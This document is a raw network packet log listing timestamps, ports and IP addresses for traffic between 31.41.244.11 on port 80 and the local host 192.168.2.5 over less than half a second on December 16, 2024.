Dec 16, 2024 09:01:29.262068987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.262165070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.262209892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.266232014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.266303062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.266360998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.269505024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.270481110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.270526886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.270593882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.270636082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.274696112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.274804115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.274847984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.278976917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.279031038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.279094934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.283128977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.283236980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.283396959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.287373066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.287478924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.287533045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.291620016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.291660070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.291718006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.295789003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.295876026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.295932055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.391866922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.391959906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.391978979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.392044067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.392905951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.392957926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.393121958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.393171072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.396374941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.396426916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.396481037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.396531105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.399799109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.399857044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.399894953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.399955034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.403260946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.403378963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.403470993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.406619072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.406709909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.406733036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.406780005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.409914017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.409982920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.410015106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.410031080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.413028002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.413127899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.413183928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.416198969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.416306973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.416374922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.419326067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.419433117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.419491053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.422364950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.422441006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.422499895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.425297976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.425355911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.425498009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.425544977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.428246975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.428605080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.428668022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.431222916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.431355000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.431405067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.434182882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.434237003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.434272051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.434318066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.437113047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.437235117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.437284946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.440103054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.440197945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.440217018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.440329075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.443200111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.443244934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.443291903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.446042061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.446093082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.446199894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.446253061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.449004889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.449115992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.449167967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.451967955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.452045918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.452075005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.452205896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.454912901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.455081940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.455123901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.457917929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.457962990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.458038092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.460854053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.460913897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.460999966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.461273909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.463794947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.463844061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.463922977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.464000940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.466859102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.466918945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.466981888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.467024088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.469736099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.469789028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.469875097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.469921112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.472681046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.472829103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.472877026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.475697994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.475755930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.475800991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.478733063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.478821039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.478889942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.481597900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.481667995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.481714964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.484539032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.484657049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.484692097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.484757900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.487513065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.487694979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.487700939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.487735987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.490457058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.490525007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.490577936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.493448973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.493505001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.493561983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.493613958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.496381044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.496495962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.496548891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.499330044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.499398947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.499434948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.499481916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.502335072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.502495050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.502506971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.502538919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.505333900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.505453110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.505465031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.505508900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.508541107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.508569002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.508598089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.508618116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.511188984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.511233091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.511257887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.511307001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.514136076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.514199018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.585480928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.585566044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.585655928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.586433887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.586489916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.586515903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.586564064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.588826895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.588880062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.588964939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.589015961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.591176987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.591228008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.591329098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.591372967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.593542099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.593595982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.593642950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.593688965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.595798969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.595850945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.595884085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.595931053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.598078012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.598126888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.598167896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.598213911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.600291967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.600338936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.600375891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.600425959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.602442980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.602490902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.602559090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.602605104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.604633093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.604680061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.604716063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.604762077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.606817961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.606865883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.607017040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.607064009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.608978033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.609030008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.609112978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.609158993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.610956907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.611007929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.611124039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.611169100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.613018036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.613069057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.613105059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.613149881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.615031958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.615078926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.615153074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.615196943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.617018938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.617067099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.617134094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.617178917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.619039059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.619086981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.619133949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.621016026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.621071100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.621143103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.621187925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.622967958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.623018026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.623100042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.623141050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.624912024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.624958992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.624995947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.625040054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.626805067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.626852989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.626923084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.626967907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.628725052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.628777027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.628845930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.628890991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.630645037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.630693913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.630728006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.630772114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.632556915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.632603884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.632646084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.632739067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.634394884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.634464979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.634500980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.634567976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.636236906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.636307001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.636328936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.636380911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.638087034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.638211012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.638268948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.639950991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.640019894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.640043020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.640094995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.641798973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.641951084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.642010927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.643587112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.643641949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.643702984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.643749952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.645421982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.645498037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.645529985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.645579100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.647254944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.647380114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.647434950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.649108887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.649159908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.649213076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.649260044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.650944948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.651048899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.651133060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.652760029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.652821064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.652903080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.652950048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.654597044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.654716015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.654772997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.656512976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.656570911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.656706095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.656754971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.658286095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.658410072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.658469915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.660131931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.660187960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.660223961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.660275936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.662010908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.662130117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.662178993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.663825989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.663875103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.663923979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.663971901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.665653944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.665741920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.665762901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.665802956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.667474985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.667577982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.667649984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.669347048 CET	80	49866	31.41.244.11	192.168.2.5
